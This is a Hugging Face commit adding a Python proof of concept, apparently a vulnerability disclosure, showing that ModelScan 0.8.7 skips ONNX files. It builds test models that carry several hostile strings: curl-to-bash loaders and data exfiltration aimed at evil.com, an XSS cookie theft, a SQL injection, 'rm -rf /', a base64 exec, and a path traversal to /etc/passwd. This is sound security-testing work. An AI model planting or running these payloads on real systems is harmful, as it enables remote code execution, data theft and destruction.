Rammadaeus commited on
Commit
0b6c068
·
verified ·
1 Parent(s): d425d32

Upload poc_modelscan_onnx_gap.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_modelscan_onnx_gap.py +321 -0
poc_modelscan_onnx_gap.py ADDED
@@ -0,0 +1,321 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ ModelScan ONNX Scanning Gap PoC
4
+
5
+ VULNERABILITY:
6
+ ModelScan (by ProtectAI) claims to scan ML model files for security issues.
7
+ However, it completely SKIPS all ONNX model files. When pointed at an ONNX
8
+ file, ModelScan reports "No issues found!" while simultaneously noting in
9
+ fine print that the file was "skipped" and "not scanned."
10
+
11
+ This means any ONNX model -- regardless of how malicious -- passes ModelScan
12
+ with a clean bill of health.
13
+
14
+ IMPACT:
15
+ - ONNX models can contain custom operator implementations that reference
16
+ attacker-controlled shared libraries (.so/.dll)
17
+ - ONNX models can reference external data files via relative paths,
18
+ enabling path traversal attacks (e.g. ../../../etc/passwd)
19
+ - ONNX models can embed arbitrary strings in metadata and operator attributes
20
+ (shell commands, Python code, injection payloads)
21
+ - ONNX Runtime custom ops can execute arbitrary native code at inference time
22
+ - ModelScan reports ALL of these as clean, giving false confidence
23
+ - Users who rely on ModelScan to vet ONNX files before loading them get
24
+ zero protection
25
+
26
+ AFFECTED:
27
+ - modelscan 0.8.7 (latest as of 2026-02-16)
28
+ - All ONNX model files are completely unscanned
29
+
30
+ TESTED: modelscan 0.8.7, onnx 1.20.1, Python 3.12
31
+
32
+ Usage:
33
+ python3 poc_modelscan_onnx_gap.py
34
+ """
35
+
36
+ import os
37
+ import sys
38
+ import subprocess
39
+
40
+ try:
41
+ import onnx
42
+ from onnx import TensorProto, helper
43
+ HAS_ONNX = True
44
+ except ImportError:
45
+ HAS_ONNX = False
46
+ print("[!] WARNING: onnx package not installed. Install with: pip install onnx")
47
+ sys.exit(1)
48
+
49
+ # Use the correct modelscan path
50
+ MODELSCAN_BIN = os.path.expanduser("~/.local/bin/modelscan")
51
+ if not os.path.exists(MODELSCAN_BIN):
52
+ # Try system PATH
53
+ import shutil
54
+ MODELSCAN_BIN = shutil.which("modelscan") or "modelscan"
55
+
56
+
57
+ def create_simple_onnx_model(output_path):
58
+ """Create a simple, legitimate ONNX model (baseline)."""
59
+ X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 5])
60
+ Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 5])
61
+ identity_node = helper.make_node("Identity", inputs=["X"], outputs=["Y"])
62
+ graph = helper.make_graph([identity_node], "simple_graph", [X], [Y])
63
+ model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])
64
+ model.doc_string = "A simple identity model"
65
+ onnx.save(model, output_path)
66
+ print(" Created: {} ({} bytes)".format(output_path, os.path.getsize(output_path)))
67
+
68
+
69
+ def create_suspicious_custom_op_model(output_path):
70
+ """
71
+ Create an ONNX model with a custom operator from an attacker domain.
72
+ Custom ops require loading external shared libraries at runtime.
73
+ The operator attribute contains an explicit shell command string.
74
+ """
75
+ X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 5])
76
+ Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 5])
77
+
78
+ custom_node = helper.make_node(
79
+ "MaliciousTransform",
80
+ inputs=["X"],
81
+ outputs=["Y"],
82
+ domain="com.attacker.evil_ops",
83
+ name="evil_custom_op",
84
+ )
85
+ custom_node.attribute.append(
86
+ helper.make_attribute("shell_cmd", "curl http://evil.com/payload | bash")
87
+ )
88
+
89
+ graph = helper.make_graph([custom_node], "custom_op_graph", [X], [Y])
90
+ model = helper.make_model(
91
+ graph,
92
+ opset_imports=[
93
+ helper.make_opsetid("", 13),
94
+ helper.make_opsetid("com.attacker.evil_ops", 1),
95
+ ],
96
+ )
97
+ model.doc_string = "Model with custom operator that could load malicious shared library"
98
+
99
+ entry = model.metadata_props.add()
100
+ entry.key = "loader_script"
101
+ entry.value = "import os; os.system('curl http://evil.com/shell.sh | bash')"
102
+
103
+ onnx.save(model, output_path)
104
+ print(" Created: {} ({} bytes)".format(output_path, os.path.getsize(output_path)))
105
+
106
+
107
+ def create_external_data_traversal_model(output_path):
108
+ """
109
+ Create an ONNX model that references external data via path traversal.
110
+ The model's weight tensor points to ../../../etc/passwd as its data source.
111
+ """
112
+ X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 5])
113
+ Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 5])
114
+
115
+ weight_tensor = helper.make_tensor(
116
+ "weights", TensorProto.FLOAT, [5, 5],
117
+ [float(i) for i in range(25)]
118
+ )
119
+ matmul_node = helper.make_node("MatMul", inputs=["X", "weights"], outputs=["Y"])
120
+ graph = helper.make_graph(
121
+ [matmul_node], "external_data_graph", [X], [Y],
122
+ initializer=[weight_tensor],
123
+ )
124
+ model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])
125
+
126
+ for init in model.graph.initializer:
127
+ if init.name == "weights":
128
+ init.data_location = TensorProto.EXTERNAL
129
+ ext_info = init.external_data.add()
130
+ ext_info.key = "location"
131
+ ext_info.value = "../../../etc/passwd"
132
+ ext_info2 = init.external_data.add()
133
+ ext_info2.key = "offset"
134
+ ext_info2.value = "0"
135
+ ext_info3 = init.external_data.add()
136
+ ext_info3.key = "length"
137
+ ext_info3.value = "100"
138
+ init.ClearField("float_data")
139
+ init.ClearField("raw_data")
140
+ break
141
+
142
+ onnx.save(model, output_path)
143
+ print(" Created: {} ({} bytes)".format(output_path, os.path.getsize(output_path)))
144
+
145
+
146
+ def create_metadata_injection_model(output_path):
147
+ """
148
+ Create an ONNX model with code injection payloads in metadata fields.
149
+ Includes XSS, SQL injection, Python RCE, and base64-encoded exec.
150
+ """
151
+ X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 5])
152
+ Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 5])
153
+ node = helper.make_node("Identity", inputs=["X"], outputs=["Y"])
154
+ graph = helper.make_graph([node], "metadata_graph", [X], [Y])
155
+ model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])
156
+
157
+ payloads = {
158
+ "description": "<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>",
159
+ "author": "'; DROP TABLE models; --",
160
+ "license": "__import__('os').system('rm -rf /')",
161
+ "post_load_hook": "import subprocess; subprocess.run(['curl', 'http://evil.com/exfil', '-d', '@/etc/shadow'])",
162
+ }
163
+ for key, value in payloads.items():
164
+ entry = model.metadata_props.add()
165
+ entry.key = key
166
+ entry.value = value
167
+
168
+ model.doc_string = "eval(__import__('base64').b64decode('aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2lkJyk='))"
169
+ onnx.save(model, output_path)
170
+ print(" Created: {} ({} bytes)".format(output_path, os.path.getsize(output_path)))
171
+
172
+
173
+ def run_modelscan(model_path, label):
174
+ """Run modelscan CLI on a model file and return parsed results."""
175
+ print("\n --- ModelScan on: {} ---".format(label))
176
+
177
+ try:
178
+ env = os.environ.copy()
179
+ env["PATH"] = os.path.expanduser("~/.local/bin") + ":" + env.get("PATH", "")
180
+ result = subprocess.run(
181
+ [MODELSCAN_BIN, "scan", "-p", model_path, "--show-skipped"],
182
+ capture_output=True, text=True, timeout=60, env=env,
183
+ )
184
+ output = result.stdout + result.stderr
185
+
186
+ # Filter out TF/CUDA noise
187
+ lines = []
188
+ for line in output.split("\n"):
189
+ if any(skip in line for skip in [
190
+ "cuda", "CUDA", "TensorFlow binary", "To enable",
191
+ "settings file detected", "cpu_feature_guard",
192
+ ]):
193
+ continue
194
+ lines.append(line)
195
+ clean_output = "\n".join(lines).strip()
196
+
197
+ # Print the key parts
198
+ for line in clean_output.split("\n"):
199
+ stripped = line.strip()
200
+ if stripped:
201
+ print(" | {}".format(stripped))
202
+
203
+ # Parse results
204
+ skipped = "skipped" in output.lower() and "did not scan" in output.lower()
205
+ no_issues = "No issues found" in output
206
+ issues_count = 0
207
+ if "Total Issues:" in output:
208
+ for line in output.split("\n"):
209
+ if "Total Issues:" in line:
210
+ try:
211
+ issues_count = int(line.split(":")[-1].strip())
212
+ except ValueError:
213
+ pass
214
+
215
+ return {
216
+ "scanned": not skipped,
217
+ "issues_found": issues_count,
218
+ "no_issues_reported": no_issues,
219
+ "skipped": skipped,
220
+ }
221
+ except FileNotFoundError:
222
+ print(" ERROR: modelscan binary not found at {}".format(MODELSCAN_BIN))
223
+ return {"scanned": False, "issues_found": 0, "no_issues_reported": False, "skipped": True}
224
+ except subprocess.TimeoutExpired:
225
+ print(" ERROR: Timed out")
226
+ return {"scanned": False, "issues_found": 0, "no_issues_reported": False, "skipped": True}
227
+
228
+
229
+ def main():
230
+ print("=" * 70)
231
+ print("ModelScan ONNX Scanning Gap PoC")
232
+ print("=" * 70)
233
+ print()
234
+ print("modelscan binary: {}".format(MODELSCAN_BIN))
235
+
236
+ script_dir = os.path.dirname(os.path.abspath(__file__))
237
+ models_dir = os.path.join(script_dir, "models")
238
+ os.makedirs(models_dir, exist_ok=True)
239
+
240
+ # Create test models
241
+ models = []
242
+
243
+ print("\n[*] Creating test ONNX models...")
244
+
245
+ print("\n 1. Simple legitimate model (baseline):")
246
+ p = os.path.join(models_dir, "simple_identity.onnx")
247
+ create_simple_onnx_model(p)
248
+ models.append(("simple_identity.onnx (clean baseline)", p))
249
+
250
+ print("\n 2. Custom operator with shell command attribute:")
251
+ p = os.path.join(models_dir, "custom_op_suspicious.onnx")
252
+ create_suspicious_custom_op_model(p)
253
+ models.append(("custom_op_suspicious.onnx (shell_cmd in attacker domain)", p))
254
+
255
+ print("\n 3. External data with path traversal:")
256
+ p = os.path.join(models_dir, "external_data_traversal.onnx")
257
+ create_external_data_traversal_model(p)
258
+ models.append(("external_data_traversal.onnx (../../../etc/passwd)", p))
259
+
260
+ print("\n 4. Metadata injection payloads:")
261
+ p = os.path.join(models_dir, "metadata_injection.onnx")
262
+ create_metadata_injection_model(p)
263
+ models.append(("metadata_injection.onnx (XSS + SQLi + RCE + b64 exec)", p))
264
+
265
+ # Scan each model
266
+ print("\n" + "=" * 70)
267
+ print("[*] Running ModelScan on each model...")
268
+ results = []
269
+ for label, path in models:
270
+ r = run_modelscan(path, label)
271
+ results.append((label, r))
272
+
273
+ # Summary
274
+ print("\n" + "=" * 70)
275
+ print("RESULTS SUMMARY:")
276
+ print("-" * 70)
277
+
278
+ all_skipped = True
279
+ all_no_issues = True
280
+ for label, r in results:
281
+ if r["skipped"]:
282
+ status = "SKIPPED (not scanned) but reported 'No issues found'"
283
+ elif r["no_issues_reported"]:
284
+ status = "NO ISSUES FOUND"
285
+ elif r["issues_found"] > 0:
286
+ status = "ISSUES FOUND: {}".format(r["issues_found"])
287
+ all_no_issues = False
288
+ else:
289
+ status = "UNKNOWN"
290
+
291
+ if not r["skipped"]:
292
+ all_skipped = False
293
+
294
+ print(" {} => {}".format(label, status))
295
+
296
+ print()
297
+ if all_skipped:
298
+ print("VULNERABILITY CONFIRMED: ModelScan SKIPS all ONNX files entirely.")
299
+ print("It reports 'No issues found!' while the --show-skipped output reveals")
300
+ print("'Model Scan did not scan file' for every single ONNX model.")
301
+ print()
302
+ print("This means ModelScan provides ZERO security coverage for ONNX models:")
303
+ print(" - Custom operators from attacker-controlled domains: NOT SCANNED")
304
+ print(" - Shell command strings in operator attributes: NOT SCANNED")
305
+ print(" - Path traversal in external data references: NOT SCANNED")
306
+ print(" - Code injection payloads in metadata: NOT SCANNED")
307
+ print(" - base64-encoded Python exec in doc_string: NOT SCANNED")
308
+ print()
309
+ print("The 'No issues found!' message creates a false sense of security.")
310
+ print("Users trust ModelScan to protect them from malicious models, but")
311
+ print("ONNX -- one of the most widely used ML formats -- is completely blind.")
312
+ elif all_no_issues:
313
+ print("CONFIRMED: ModelScan reports no issues for all ONNX models.")
314
+ else:
315
+ print("ModelScan detected some issues. Review output above.")
316
+
317
+ print("=" * 70)
318
+
319
+
320
+ if __name__ == "__main__":
321
+ main()